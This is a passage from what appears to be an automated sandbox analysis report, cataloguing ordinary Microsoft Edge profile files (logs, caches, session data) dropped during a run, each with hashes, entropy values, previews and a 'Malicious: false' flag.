Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.832172988319567
Encrypted:	false
SSDEEP:	48:F2emGtrdDgfBtdXrdYxQrdDLBtwrdABtk:F1mGtxDgbRxYxQxDHwxSk
MD5:	4660A0160453D3D8542DED030C8D2B51
SHA1:	80E5921CE005CC870CFEEE4AE9AB67A6EDE3D4C7
SHA-256:	EF42CAF6BAC86EF1956102B5D358B0B1543EDBE51547E469D09BDBB04B45186C
SHA-512:	ACF746D151C3AD28ADD0C1EA765D0684977CD85E80E2593EACC9587BA4EE65746C9E9E69A81ED4F2D098BE5AF4774A8304B2DA9E34B1B8115F15ED68606A74AF
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..]`m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.167897836561453
Encrypted:	false
SSDEEP:	6:HYiT1CHhJ23oH+TcwtE/a252KLlVYiy0GSQ+q2PCHhJ23oH+TcwtE/a2ZIFUv:/Yeb8xLK/SQ+vBYeb8J2FUv
MD5:	1A22D4628DB319FBD1FBE7041A32D773
SHA1:	309CD7B9B1B02D9452141FD46C032B309076E4D4
SHA-256:	0A93B5739512B54600D3D6A4AF3D47E54D654F732ED93608C444007A131BD66B
SHA-512:	E848F5847432833B4A53977231E1A154ACB29A3F3CB2DFEDEBA4375CBE90A0D3DBB5F37EC454C97F5A5A53536A7099CE45EF4990501CF3FB19BA7F6929869275
Malicious:	false
Preview:	2024/11/26-02:03:48.306 1e4c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/26-02:03:48.327 1e4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.5765002845860225
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYge1d:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFez
MD5:	EA2402DE33BBD4B88DCA8A3468D519B0
SHA1:	DC00B02B1C2B418ACDD1A68B8FCAE3895A3B21BE
SHA-256:	2D8B99150D71F35FF4FF46E122217CB93C50CB54FD33BF58099092AFC1E93A45
SHA-512:	F2533AD232B93E8E59A3E6290EA0071386A0A15F2F849092C8110DDC67FE85DD6FCCF0058636445788FA7E53AF847ED6CEF9972A65BAFF4F4A541FE90C0B1163
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.385694951162356
Encrypted:	false
SSDEEP:	3072:sQR4ddgdb8wV3TVHbL/KiMe3foCE7ur8BmVC:z8w9V7L/R1gCiMw
MD5:	E798A20D9329F2E96D4AA3B66A44C4C9
SHA1:	7E753EBBC03F0D3D22662D2E8314E331A63C2ED9
SHA-256:	ECA40F9AB1181DCCF992B2521D5F18697E4BEA7C5B1AB3045AAB55869880030D
SHA-512:	89BA4DBC3C591771BBD38344B4270532F76EB4F36A4C1C3532796E54E710BD7FC1D7FC5AD5C0EB36E411EBBD3C8DFD85A1B1CBBFDCBDD85C05854EBB465FF096
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.h........,T.8..`,.....L`.....,T...`......L`......Rc.n.Q....exports...Rc.'.D....module....Rc.UB.....define....RbR.{.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...v.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:EYyXl/ly/l9/lxE0tlla/laa+:EYKmO0gaa+
MD5:	0CEDB4311755695BD8EBD9C2366D7C8B
SHA1:	0B7E1088B7C84378A3B69B8DD46EEC30F114DEB2
SHA-256:	5F723BCC5320CA86C0D95BBDFE0D6B4858A2F0108AC5A7E3E03EDAB97082D567
SHA-512:	84CA166F83D2B5C6291433E9ECF58C73FBCB1E9751D5F1D27F018298E472E1038A6648D1DA49352C30CED78B9761661914E59B9621D08D9298E07884EEA2707D
Malicious:	false
Preview:	@....b=aoy retne.........................X....,................e\..a./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:EYyXl/ly/l9/lxE0tlla/laa+:EYKmO0gaa+
MD5:	0CEDB4311755695BD8EBD9C2366D7C8B
SHA1:	0B7E1088B7C84378A3B69B8DD46EEC30F114DEB2
SHA-256:	5F723BCC5320CA86C0D95BBDFE0D6B4858A2F0108AC5A7E3E03EDAB97082D567
SHA-512:	84CA166F83D2B5C6291433E9ECF58C73FBCB1E9751D5F1D27F018298E472E1038A6648D1DA49352C30CED78B9761661914E59B9621D08D9298E07884EEA2707D
Malicious:	false
Preview:	@....b=aoy retne.........................X....,................e\..a./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF31dab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:EYyXl/ly/l9/lxE0tlla/laa+:EYKmO0gaa+
MD5:	0CEDB4311755695BD8EBD9C2366D7C8B
SHA1:	0B7E1088B7C84378A3B69B8DD46EEC30F114DEB2
SHA-256:	5F723BCC5320CA86C0D95BBDFE0D6B4858A2F0108AC5A7E3E03EDAB97082D567
SHA-512:	84CA166F83D2B5C6291433E9ECF58C73FBCB1E9751D5F1D27F018298E472E1038A6648D1DA49352C30CED78B9761661914E59B9621D08D9298E07884EEA2707D
Malicious:	false
Preview:	@....b=aoy retne.........................X....,................e\..a./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7223
Entropy (8bit):	3.3674919383645756
Encrypted:	false
SSDEEP:	192:VobEmSISXO9Xp+OKiEDI5SLl9iSrTJ9/:Vo/SXO9Xp+945SLl9iSrt9
MD5:	6A85DEAC9669FE1A3FBFECD7736938A6
SHA1:	E6227FDD7DF6B8292EAFDAF9F06D3897D5E68809
SHA-256:	DE1C9DA9FCF1FAEBE557FC6D36E85B905A09028C9E4A2065A41739EBD7E31684
SHA-512:	29FC7CD1E6A0CCA67AA7A1BCA942C38775E9F27D8AF67A4CC38C53CC5B70558E765096941E998491711471C228F5F8DE1C6BDC2F6DE9810B6133F8F57E9F5DDA
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............d.45b................next-map-id.1.Cnamespace-e2c67799_029b_4c2f_9460_838cad528994-https://ntp.msn.com/.0.vv..................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.-.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.r.m.c.a.l.i.b.-.l.v.f._.t.1.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111913184413974
Encrypted:	false
SSDEEP:	6:HYwcq2PCHhJ23oH+TcwtrQMxIFUt8YYoARFZZmw+YYRzkwOCHhJ23oH+TcwtrQMT:0vBYebCFUt8o8Z/+Rz56YebtJ
MD5:	68F468C536841C2B145D4052DDF165DA
SHA1:	8E7EEE942A8CA1494046D5111B1D1D374188D1D7
SHA-256:	154FD9E1672CC81F768EF7C52BF0D476905198A19158B7CA35E64F5FDC99E405
SHA-512:	8933D58EF8DF0C8E810D635D824C050E5859E08798FD826493CDCE0D503C601F8EC52E520832413761C0C93AD7F920015AF576C20BBBF09B7A4434871C1D489A
Malicious:	false
Preview:	2024/11/26-02:03:33.118 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-02:03:33.120 1c24 Recovering log #3.2024/11/26-02:03:33.122 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111913184413974
Encrypted:	false
SSDEEP:	6:HYwcq2PCHhJ23oH+TcwtrQMxIFUt8YYoARFZZmw+YYRzkwOCHhJ23oH+TcwtrQMT:0vBYebCFUt8o8Z/+Rz56YebtJ
MD5:	68F468C536841C2B145D4052DDF165DA
SHA1:	8E7EEE942A8CA1494046D5111B1D1D374188D1D7
SHA-256:	154FD9E1672CC81F768EF7C52BF0D476905198A19158B7CA35E64F5FDC99E405
SHA-512:	8933D58EF8DF0C8E810D635D824C050E5859E08798FD826493CDCE0D503C601F8EC52E520832413761C0C93AD7F920015AF576C20BBBF09B7A4434871C1D489A
Malicious:	false
Preview:	2024/11/26-02:03:33.118 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-02:03:33.120 1c24 Recovering log #3.2024/11/26-02:03:33.122 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377078214696418

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.809664172603444
Encrypted:	false
SSDEEP:	24:3LQMprnpsAF4unxgkatLp3X2amEtG1ChqUl1AXYQKkOAM4w:3/zFsLp2FEkCh11Y5HOp
MD5:	A15A7D34647CA7B581415C0EA0464DCC
SHA1:	6BEC438B3053E3A117FF1C287AB2F8777F3B9039
SHA-256:	4F8DC12FA0F614A028CABC323F2D7108692401FC73DA4516674B7506FC762CAF
SHA-512:	9589ED3957AD5A7F5B6C436D7422512052BB7D5869C474CC89EB9127F5956130832DFA495A432D4C9F69346B4D9AEB2E79AB1C3CBCB964A2ED8E3C6BFEF75179
Malicious:	false
Preview:	SNSS......../$%............/$%......"./$%............/$%......../$%......../$%......../$%....!.../$%................................/$%./$%1..,..../$%$...e2c67799_029b_4c2f_9460_838cad528994..../$%......../$%....p4........../$%..../$%......................../$%....................5..0..../$%&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}....../$%......../$%.........................../$%............/$%........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......O..r.'..P..r.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.13931498494027
Encrypted:	false
SSDEEP:	6:HYue+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YYuAZGHZZmw+YYu0d3VkwOCHhJ23oHT:3PvBYebIhHh2FUt8uAZeZ/+uI56YebIT
MD5:	2C546C07972A29C53F009C4A1CD5D524
SHA1:	23627F8AE15BFD1AE6864F709E5C692611BB6BE6
SHA-256:	CC14688EF41D9082568E988231DF75FDCEA63625243384B5D0A7711C1A4272E8
SHA-512:	8C764C5C3AB4833C0D18A7EC0C3B828A469EC06DB1FD77BCFFC5FFFCC5CD9948889E08EC748301AC235BEBBD22CEDD932FEC1738CAB2D19466EDA3312C8D67B3
Malicious:	false
Preview:	2024/11/26-02:03:32.193 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-02:03:32.194 1ec8 Recovering log #3.2024/11/26-02:03:32.195 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.13931498494027
Encrypted:	false
SSDEEP:	6:HYue+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YYuAZGHZZmw+YYu0d3VkwOCHhJ23oHT:3PvBYebIhHh2FUt8uAZeZ/+uI56YebIT
MD5:	2C546C07972A29C53F009C4A1CD5D524
SHA1:	23627F8AE15BFD1AE6864F709E5C692611BB6BE6
SHA-256:	CC14688EF41D9082568E988231DF75FDCEA63625243384B5D0A7711C1A4272E8
SHA-512:	8C764C5C3AB4833C0D18A7EC0C3B828A469EC06DB1FD77BCFFC5FFFCC5CD9948889E08EC748301AC235BEBBD22CEDD932FEC1738CAB2D19466EDA3312C8D67B3
Malicious:	false
Preview:	2024/11/26-02:03:32.193 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-02:03:32.194 1ec8 Recovering log #3.2024/11/26-02:03:32.195 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.210689138414535
Encrypted:	false
SSDEEP:	6:HYxhq2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YY4uhZmw+YY+kwOCHhJ23oH+Ts:yhvBYebvqBQFUt8h/++56YebvqBvJ
MD5:	E6824BC82FA9E863EC271ECB8239D1FE
SHA1:	B022ED5DB74BEEBE5FC2C334A596CA2411986D6E
SHA-256:	90C1280C5BA059E259FF88C46600D2AFAA3AB0FF32B12442D5463FA59EE46418
SHA-512:	F89B0C18C561E4F4D28CA2023D68EED371DEC6369843269AD98B7D83FC6B0B4651CD867574E399B5D95947D744D59DB808CC4A8F30D0FE524E57CB7EFDC7EFC4
Malicious:	false
Preview:	2024/11/26-02:03:33.052 500 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-02:03:33.082 500 Recovering log #3.2024/11/26-02:03:33.117 500 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.210689138414535
Encrypted:	false
SSDEEP:	6:HYxhq2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YY4uhZmw+YY+kwOCHhJ23oH+Ts:yhvBYebvqBQFUt8h/++56YebvqBvJ
MD5:	E6824BC82FA9E863EC271ECB8239D1FE
SHA1:	B022ED5DB74BEEBE5FC2C334A596CA2411986D6E
SHA-256:	90C1280C5BA059E259FF88C46600D2AFAA3AB0FF32B12442D5463FA59EE46418
SHA-512:	F89B0C18C561E4F4D28CA2023D68EED371DEC6369843269AD98B7D83FC6B0B4651CD867574E399B5D95947D744D59DB808CC4A8F30D0FE524E57CB7EFDC7EFC4
Malicious:	false
Preview:	2024/11/26-02:03:33.052 500 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-02:03:33.082 500 Recovering log #3.2024/11/26-02:03:33.117 500 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\12105fad-69a0-455f-b389-9948fb2d378e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
